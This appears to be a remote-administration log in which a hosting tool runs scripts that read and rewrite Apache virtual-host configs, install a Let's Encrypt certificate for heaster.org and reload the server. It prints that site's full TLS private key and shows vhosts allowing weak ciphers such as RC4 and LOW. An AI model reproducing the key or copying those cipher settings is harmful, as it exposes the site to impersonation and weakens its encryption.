Zx9pzjUhdVfJ6hQiX5KEUok6nxCnEJo0RLiqydZj+wKBgCJdmHqWEQ567qTxdR0w
EMUYA/od2GD8Np0JJZz+UsYOJ6AkVC/0ItXcrM80KKAp5yVIc/CoQbpTaImdyGCt
LTW4Z0B0HJ7TpaX5nBOQEBCrH3pw/EJQQD52S99xpDlmZ4UdGLUPrzyd+h+NbLwv
bW7d68qxNvBgh0DOwYDLCDck
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-06 15:30:54: 

chmod 755 /tmp/pkp502774; /tmp/pkp502774; rm /tmp/pkp502774

2026-05-06 15:30:54: 


dir=/etc/ssl/certs


2026-05-06 15:30:54: 

PUT: /tmp/pkp905401

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/heaster_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-06 15:30:54: 

chmod 755 /tmp/pkp905401; /tmp/pkp905401; rm /tmp/pkp905401

2026-05-06 15:30:54: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/heaster_www_org.conf 39

<VirtualHost *:80>
    ServerName	heaster.org
    ServerAlias	www.heaster.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/heaster_www
    <Directory /var/www/heaster_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/heaster/www_access.log combined
    ErrorLog	/var/log/apache2/heaster/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	heaster.org
    ServerAlias	www.heaster.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt
    DocumentRoot	/var/www/heaster_www
    <Directory /var/www/heaster_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/heaster/www_secure_access.log combined
    ErrorLog	/var/log/apache2/heaster/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-05-06 15:30:54: 

PUT: /tmp/pkp963258

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=heaster_www_org.conf
TARGET=/etc/apache2/sites-enabled/heaster_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	heaster.org
    ServerAlias	www.heaster.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/heaster_www
    <Directory /var/www/heaster_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/heaster/www_access.log combined
    ErrorLog	/var/log/apache2/heaster/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	heaster.org
    ServerAlias	www.heaster.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt
    DocumentRoot	/var/www/heaster_www
    <Directory /var/www/heaster_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/heaster/www_secure_access.log combined
    ErrorLog	/var/log/apache2/heaster/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/heaster_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/heaster_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/heaster_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/heaster_www_org.conf= 1'
fi


2026-05-06 15:30:54: 

chmod 755 /tmp/pkp963258; /tmp/pkp963258; rm /tmp/pkp963258

2026-05-06 15:30:54: 




2026-05-06 15:30:54: 

PUT: /tmp/pkp352202

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-06 15:30:54: 

chmod 755 /tmp/pkp352202; /tmp/pkp352202; rm /tmp/pkp352202

2026-05-06 15:30:55: 


.


2026-05-06 15:30:55: Establishing a connection
2026-05-06 15:30:55: 

PUT: /tmp/pkp167841

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-06 15:30:55: 

chmod 755 /tmp/pkp167841; /tmp/pkp167841; rm /tmp/pkp167841

2026-05-06 15:30:56: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-05-06 15:30:56: 

PUT: /tmp/pkp559752

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/heaster_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-06 15:30:56: 

chmod 755 /tmp/pkp559752; /tmp/pkp559752; rm /tmp/pkp559752

2026-05-06 15:30:56: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/heaster_www_org.conf	1347

<VirtualHost *:80>
    ServerName	heaster.org
    ServerAlias	www.heaster.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/heaster_www
    <Directory /var/www/heaster_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/heaster/www_access.log combined
    ErrorLog	/var/log/apache2/heaster/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	heaster.org
    ServerAlias	www.heaster.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt
    DocumentRoot	/var/www/heaster_www
    <Directory /var/www/heaster_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/heaster/www_secure_access.log combined
    ErrorLog	/var/log/apache2/heaster/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-05-06 15:30:56: 

PUT: /tmp/pkp649437

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-06 15:30:56: 

chmod 755 /tmp/pkp649437; /tmp/pkp649437; rm /tmp/pkp649437

2026-05-06 15:30:56: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt	5360
db:f6:3c:33:86:91:c2:58:62:0e:08:b3:a3:cd:cc:5b

-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBa/RE0PmWA1vkiOJ9/S019EqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTA2MTQzMjIzWhcNMjYwODA0MTQzMjIyWjAWMRQwEgYDVQQD
EwtoZWFzdGVyLm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALJr
UagpXMBSN1k2kirStQp6eC4hJNa0SJjpWBFMcOdDMxQxgzkFHpDtFNDmL1F7Uty5
iSdinMK2wpmQ/CdwIX7TUPOj/XaJrr8ZtcfWSntfHrfXc++/La6fkJWce8oiSwrA
2xCydKFE/AHca3i2MxlqIhiQcODY/ii+S23vssHTdE+YIolVY9tExLlFi4mECPvN
zAG39koOeMkJSbc/EzFeP64gFNQ1x7UbD7fDaXVvWlwHQJggrSyThEDG3CUM/9Wz
5t3sdb2X1wdpXGL7Eo/vyHtXa3x++2VBsc8dWWPWlBTd6kaBLwY8Lbakp6AuU0r8
A3JPeTC/fCTzU8LMFO8CAwEAAaOCAiswggInMA4GA1UdDwEB/wQEAwIFoDATBgNV
HSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRxdtUZHXSA
h6KL6Qytlm1qdpF4XTAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQOO9aSMzAz
BggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5v
cmcvMCcGA1UdEQQgMB6CC2hlYXN0ZXIub3Jngg93d3cuaGVhc3Rlci5vcmcwEwYD
VR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5j
LmxlbmNyLm9yZy80My5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkAdwDXbX0Q
0af1d8LH6V/XAL/5gskzWmXh0LMBcxfAyMVpdwAAAZ396dWEAAAEAwBIMEYCIQD8
nE8dRPZbtYxLrYAttusdo4wCWz289Qh56gliO2XXvgIhAKgKF89pGdx/vUa6odj9
1ytbc8hnlPfxj+N2tAXTbyUpAH4AqCbL4wrGNRJGUz/gZfFPGdluGQgTxB3ZbXkA
sxI8VScAAAGd/enVuQAIAAAFAAnLKeEEAwBHMEUCIBGe2rgk927YYp2ZhQpP7bYy
0KqvWQwl19Y929DVZADVAiEAvjYaEIdi+KulkzpIvAOHZOKbtmdbNLvur+eYYAX+
1NIwDQYJKoZIhvcNAQELBQADggEBAAzn00eQilb8IeEWUS6iAO5wh9eOUnpoXDdd
eAmvr6Zuz19lPG066U1BmF4/NpfrXOdSPEpPcmUOZGkOdkvX/4mCW4LyClkmodtS
eyfcUCUCDTYN7rWNSql2Xs43HLQ+BdVbX1j9WqHbT4RxdZCRwHBfwoi6Q7ro1RzP
rbDosUV+8jQqnxOSmgcJcR4J1tsYX3x353NQc2eMglfNTVAZDVXcuxUg63bVMlPu
3CgE3IZ35YxtXczsmWWW7xZuhcD1yX+DKxudVOPNss4T0gtGq+IPX6sxsAeKGQRN
qgqVZxv0asLQgadx+4f8f3ldIoo6anByWVZvrCALI8XwZmHnxYk=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCya1GoKVzAUjdZ
NpIq0rUKenguISTWtEiY6VgRTHDnQzMUMYM5BR6Q7RTQ5i9Re1LcuYknYpzCtsKZ
kPwncCF+01Dzo/12ia6/GbXH1kp7Xx6313Pvvy2un5CVnHvKIksKwNsQsnShRPwB
3Gt4tjMZaiIYkHDg2P4ovktt77LB03RPmCKJVWPbRMS5RYuJhAj7zcwBt/ZKDnjJ
CUm3PxMxXj+uIBTUNce1Gw+3w2l1b1pcB0CYIK0sk4RAxtwlDP/Vs+bd7HW9l9cH
aVxi+xKP78h7V2t8fvtlQbHPHVlj1pQU3epGgS8GPC22pKegLlNK/ANyT3kwv3wk
81PCzBTvAgMBAAECggEAGAVx64GSHsSS9hxuRnyy6jO97XwB4TRJl+jGtiGEC+bU
wDHAWJNzX5DD3jI3ibFgYR5LtHVG5MJFZfaKtGaY4+HggsT/8Y8s60azXjHgOkb+
tEK6NbuYE2whQ7tbQUYns01u0Qstv66xfTCneYuSSqgq6gK8Z9FfOq4QKr98YjLz
40/687tTBfXmN57Rf07ds8G2NPT1sxnnRjGLDO4wH6HDRijUIXdNBxfAR5z2No9q
sbSoyxvckONIp2s1YIOXkx16aG+U5CwQE3PohqNRxXYA0GeXGun1PzxphLNbrCHr
qHvFvx/FNboL84tlkyLS4pY7RGatly29vXKOOnwnZQKBgQDbOGJp50PcWAEubQkm
VtPscdPqp5LlIU9E9B0jKiFeyWEHoPKG0p74HjnGzQhqVHWn77AfkYZ4mSbWo+xY
kDXA1u5V6YUMesnztjAFvB+0LYtQptiuXyCqKP0xumY9KJXiJGgN7xnB6Uo+gONM
ha0d3gkkpBDOVGkGxZA0W71kLQKBgQDQWoKkhUd1Ody+bDyYUOUW9v8eRoMq5G6I
xAcGQpLYSVqwPerjT8hDtEbsLe7c9wDxZK9fleF1EMRTl7jg+9MqyAWZI5SAyJJu
p2E7iZKEws+FCKn7o3d3oQqGK6O0N/T9mDfSxR4oWfA3qxrB3j8sa2Si3+L0yoOM
Nxft49VDCwKBgQDX2hL9GBv3kCfJoM8Lkx8kh4gUW2AGgN/ek0dFYqxs+nix3EYx
fp3MzWYyW5xXpkYbT6Tp0I7JnHNjkRCcu5JSCM+whDjfauADOnbajrvg2597kG12
dHBjW+zC1DjrK1U50IMshSulhaH3HU2yAUXOTNxP2cQ6hV7MricphtNbGQKBgQDN
LKREEP9KYB2R45JUSC0gzUBzduqKHYL/6VIlhv+GP84vifm5uQI0Md45jA4RyKdE
D2tnzHfFySocS2eDHllXYruoj1IY8+rHTsrAT3xagmDK17pUlCf8RTjQ4T6HJSd7
Zx9pzjUhdVfJ6hQiX5KEUok6nxCnEJo0RLiqydZj+wKBgCJdmHqWEQ567qTxdR0w
EMUYA/od2GD8Np0JJZz+UsYOJ6AkVC/0ItXcrM80KKAp5yVIc/CoQbpTaImdyGCt
LTW4Z0B0HJ7TpaX5nBOQEBCrH3pw/EJQQD52S99xpDlmZ4UdGLUPrzyd+h+NbLwv
bW7d68qxNvBgh0DOwYDLCDck
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-05-06 19:19:25: Establishing a connection
2026-05-07 10:26:08: Establishing a connection
2026-05-07 10:26:34: Establishing a connection
2026-05-07 10:26:34: 

PUT: /tmp/pkp976989

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "sites-available/youngrepairs_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-07 10:26:35: 

chmod 755 /tmp/pkp976989; /tmp/pkp976989; rm /tmp/pkp976989

2026-05-07 10:26:35: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
sites-available/youngrepairs_www_com.conf 0



2026-05-07 10:26:35: 

PUT: /tmp/pkp672232

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=youngrepairs_www_com.conf
TARGET=sites-available/youngrepairs_www_com.conf
DOCROOT=/var/www/youngrepairs_www
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/youngrepairs_www
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/youngrepairs/www_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/youngrepairs
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "../sites-available/youngrepairs_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/youngrepairs_www_com.conf)= /etc/apache2/sites-available/youngrepairs_www_com.conf'
	echo 'file(/etc/apache2/sites-available/youngrepairs_www_com.conf= 1'
fi


2026-05-07 10:26:35: 

chmod 755 /tmp/pkp672232; /tmp/pkp672232; rm /tmp/pkp672232

2026-05-07 10:26:35: 


chown: invalid user: ‘phil:phil’
link(/etc/apache2/sites-enabled/youngrepairs_www_com.conf)= /etc/apache2/sites-available/youngrepairs_www_com.conf
file(/etc/apache2/sites-available/youngrepairs_www_com.conf= 1




STDERR:
chown: invalid user: ‘phil:phil’


2026-05-07 10:26:35: 

PUT: /tmp/pkp228775

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
